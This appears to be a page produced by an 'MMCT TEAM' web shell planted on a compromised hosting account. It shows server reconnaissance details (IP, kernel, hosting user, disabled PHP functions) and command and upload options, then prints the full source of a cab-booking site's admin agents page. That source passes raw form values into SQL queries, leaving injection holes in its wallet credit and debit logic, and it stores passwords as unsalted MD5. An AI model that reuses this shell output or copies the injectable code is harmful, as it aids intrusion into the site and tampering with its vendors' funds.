MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.218.129.191
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/agents.php
<?php
    require_once 'header.php';
   require_once 'navbar.php';
   
if($_SERVER["REQUEST_METHOD"] == "POST")
{
     if(isset($_POST['request']))
    {
        $name=test_input($_POST['name']);
        $company_name=test_input($_POST['c_name']);
        $email=test_input($_POST['email']);
        $pass=md5(test_input($_POST['pass']));
        $contact=test_input($_POST['contact']);
        $state=test_input($_POST['state']);
        $city=test_input($_POST['city']);
        $sql="insert into vendor_login(contact,email,password,type) values('$contact','$email','$pass','$type')";
        if($conn->query($sql)===true)
        {
             $last_id = $conn->insert_id;
            $sql="insert into vendor_profile(vendor_id,company_name,full_name,city,state,status) values($last_id,$company_name','$name','$city','$state',0)";
            if($conn->query($sql)===true)
            {
                $success=true;
            }
            else
            {
                $error=true;
            }
        }
        else
        {
            $error=true;
        }
	 }
		 
		 //add money on vendor
		 if(isset($_POST['v_id']) && isset($_POST['amount']))
		 {	
			$v_id=$_POST['v_id'];
			
			$amount=$_POST['amount'];
			$remark=$_POST['remark'];
			$contact=$_POST['con'];
			
			 if(isset($_POST['add']))
			 {
				 $sql="update vendor_profile set w_amount=w_amount+$amount where vendor_id=$v_id";
				 $type="credit";
				 
				 $m="Rs.$amount has been credit in to your vendor account. please use this amount for accept bookings";
			 }
			 else if(isset($_POST['remove']))
			 {
			     $type="debit";
				 $sql="update vendor_profile set w_amount=w_amount-$amount where vendor_id=$v_id";
				  $m="Rs.$amount has been Debit from your vendor account, regarding the $remark.";
			 }
			
			 if($conn->query($sql)===true)
			 {
			     $sql="Insert into transaction_log(vendor_id,amount,txn_type,action) values($v_id,$amount,'$type','$remark')"; 
			     if($conn->query($sql))
			     {
				    $success=true;
					 
					 	$paramArr['postData']['mobiles'] = $contact;
						$paramArr['postData']['message'] =$m;
						sendRequest($paramArr);
			     }
			 }
			 else
			 {
				 $error=false;
			 }
		 }
    
}
$sql="SELECT DISTINCT(state) FROM `statesandcity` ";
     $res=$conn->query($sql);
     if($res->num_rows > 0)
     {
        while($row=$res->fetch_assoc())
        {
            $states[]=$row;
        }
     }
?>

<!-- Page content -->
<div class="container-fluid pt-8">
    <div class="page-header mt-0 p-3">
        <h3 class="mb-sm-0">Agents</h3>
        <button id="addd" title="" class="btn btn-primary pull-right" data-toggle="modal" data-target="#modal-default">
                <i class="fa fa-plus"></i>
        </button>
        
    </div>
    <div id="alert2" class="col-md-12"></div>
    	<!-- Table -->
    <div class="row">
        <div class="col-12">
        <?php
			if(isset($success))
			{
				?>
			  <div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
			<?php
			}
			else if(isset($error))
			{
				?>
			  <div class="alert alert-danger" id="success">Error! Your Request could not be submited.</div>
			<?php
			}
			?>
           <div class="alert alert-success" id="success" style="display:none">Success! Your Request has been submited.</div>
            
              
            <div class="card shadow">
                   <div class="card-body">
                            <div class="table-responsive">
                                <table class="table card-table table-vcenter text-nowrap  align-items-center">
                                    <thead class="thead-dark">
                                        <tr>
                                            <th style="width: 80px">#</th>
                                            <th>Name</th>
                                            <th>Contact</th>
                                            
                                            <th>City</th>
                                           <th>State</th>
                                            <th>wallet Money</th>
                                            <th style="width: 180px"> &nbsp;&nbsp;&nbsp;&nbsp;Action</th>
                                          </tr>
                                    </thead>
                                      <tbody id="staff_details">
                                    </tbody>
                                </table>
                            </div>
                        </div>
                  </div>
                
        </div>
    </div>
</div>

<!--Add Modal To Display-->
<div class="modal fade" id="modal-default">
    <div class="modal-dialog">
        <div class="modal-content">
          <div class="card-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
               <div class="alert alert-danger"   id="error" style="display:none">Error! Your Request could not be submited.</div>
               
              <h4 style="text-align: left">Create New Agent Account</h4><div class="col-md-6 float-right" id="alert"></div>
          </div> 
          <form method="post" id="add_vendor">
          <div class="modal-body">
              <div class="row">
                 <div class="col-md-6">
                      <label>Full Name :</label><input type="text" class="form-control" name="name">
                  </div>
               
                  
                    <div class="col-md-6">
                     <label>Contact :</label><input type="text" id="contact" class="form-control" name="contact" title="Please Enter Correct Contact Number">
                  </div>
                  <div class="col-md-6">
                       <label>State:</label>
                       <select name="state" onchange="aacity(this.value)" class="form-control">
                           <option value="0"  >Select State</option>
                            <?php
                            foreach ($states as $state)
                            {
                            ?>
                              <option value="<?=$state['state'];?>"><?=$state['state'];?></option>
                            <?php
                            }
                            ?>
                       </select>
                  </div>
                  <div class="col-md-6">
                      <label>City :</label>
                       <select  class="form-control"  name="city" id="account-city">
                           <option value="0">Select City</option>
                       </select>
                  </div>
                   
                 <div class="col-md-12">
                     <label>Password :</label><input type="password" class="form-control" name="password">
                  </div>
                  
              </div>
            </div>
          <div class="modal-footer">
            <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
            <button type="submit" name="request" id="add" class="btn btn-primary" >Add</button>
          </div>
            </form>
        </div>
    <!-- /.modal-content -->
    </div>
<!-- /.modal-dialog -->
</div>

<!--Add Modal To Display-->
<div class="modal fade" id="money">
    <div class="modal-dialog">
        <div class="modal-content">
          <div class="card-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
               <div class="alert alert-danger"   id="error" style="display:none">Error! Your Request could not be submited.</div>
               
              <h4 style="text-align: left">Add/Remove Wallet Money.</h4><div class="col-md-6 float-right" id="alert"></div>
          </div> 
          <form method="post" >
          <div class="modal-body">
              <div class="row">
                 <div class="col-md-6">
                      <label>Please Enter Amount :</label><input type="text" class="form-control" name="amount" required>
                     <input type="hidden" class="form-control" id="v_id" name="v_id" required>
                     <input type="hidden" class="form-control" id="con" name="con" required>
                  </div>
                  <div class="col-md-6">
                      <label>Remark :</label><input type="text" class="form-control" name="remark" required>
                
                  </div>
             </div>
            </div>
          <div class="modal-footer">
            <button type="submit" name="add" value="add" class="btn btn-primary" >Add</button>
            <button type="submit" name="remove" id="remove" class="btn btn-primary" >Remove</button>
          </div>
            </form>
        </div>
    <!-- /.modal-content -->
    </div>
<!-- /.modal-dialog -->
</div>
<?php
  require_once 'footer.php';
  require_once 'jslinks.php';
?>

<script>
 $(document).ready(function(){
    
     
     //ADDING STAFF BY MODAL
  output();
  $('#add_vendor').submit(function(e) {
      e.preventDefault();
      $("#global-loader").show();
   $.ajax({
				type: 'POST',
				url: 'agent_ajax.php',
				data: new FormData(this),
				contentType: false,
				cache: false,
				processData:false,
				success:function(response){
                    $("#global-loader").fadeOut();
          console.log(response);
        if(response == "ok") {
            $('#success').show();
            $('#modal-default').modal('toggle');
            output();
            
        }
        else {
             $('#error').show();
        }
      }
    })
      $('#add_vendor').trigger("reset");
  });
	 
 })

 
function output()
    {
    var value = '';
    var i = 1;
        $("#global-loader").show();
     $.ajax({
    url: "agent_ajax.php",
    type: "POST",
    data: {
     vendor_details: 1,
    },
     success: function (data) {
		 
         $("#global-loader").fadeOut();
         vendor_data=$.parseJSON(data);
         $.each(vendor_data, function (key, data) {
            value+=`<tr>
                    <td>${i}</td>
                    <td><a href="agent_ride_details?ventor_id=${data.id}" target="_blank"><span id="name?${data.id}">${data.agent_name}</span></a></td>
                   
                    <td><span id="contact${i}">${data.contact}</span></td>
                   
                    <td><span id="city${i}">${data.city}</span></td>
                      <td><span id="city${i}">${data.state}</span></td>
                    <td><span id="w_money${i}">${data.wallet_money}</span></td>
                    <td>
                                <a class="btn btn-success" href="edit_agent?token=${data.id}" value="${i}">
                                    <i class="fa fa-edit btn-success"></i>
								</a>
						
                    </td>
                  </tr>`;  
             i++;
         })
         $('#staff_details').html(value);
          $('.table').DataTable();
        }
     })
    }

	//
	function add_money(str,contact)
	{
		document.getElementById('v_id').value=str;
		document.getElementById('con').value=contact;
	}
	
// Deletion of vendor
    
  function del(e) { 
      var verify = confirm("Do you really want to delete!!!");
      if(verify) {
          $("#global-loader").show();
          alert(e);
          $.ajax({
              url: "agent_ajax.php",
              type: "POST",
              data: {
                  delete_id: e,
              },
              success: function(response){
                  $("#global-loader").fadeOut();
                  if(response == "success") {
                       $('#alert2').html('<span class="p-1 m-1 col-md-10 alert alert-success">Successfully Deleted.</span>').show()
                       setTimeout(function(){ 
                           $('#alert2').hide()
                       }, 1000)
                   }
                   else {
                       $('#alert2').html('<span class="p-1 m-1 col-md-10 alert alert-danger">Something Wrong, can\'t delete.</span>').show()
                       setTimeout(function(){ 
                           $('#alert2').hide()
                       }, 1000)
                   }
                   output();
              },
          })
      }
  }  
 $(function(){
     $('#add_vendor').validate({
        rules:{
            name:{
                  required:true,
                  minlength:3
                },
            email:{
                required: true,
                email: true
            },
             contact:{
                 required: true,
                 digits: true,
                 maxlength:10
            },
            
            c_name:"required",
            password:{
                    required:true,
                    maxlength:14
            }
        }
  });
});   
</script>

MMCT - 2023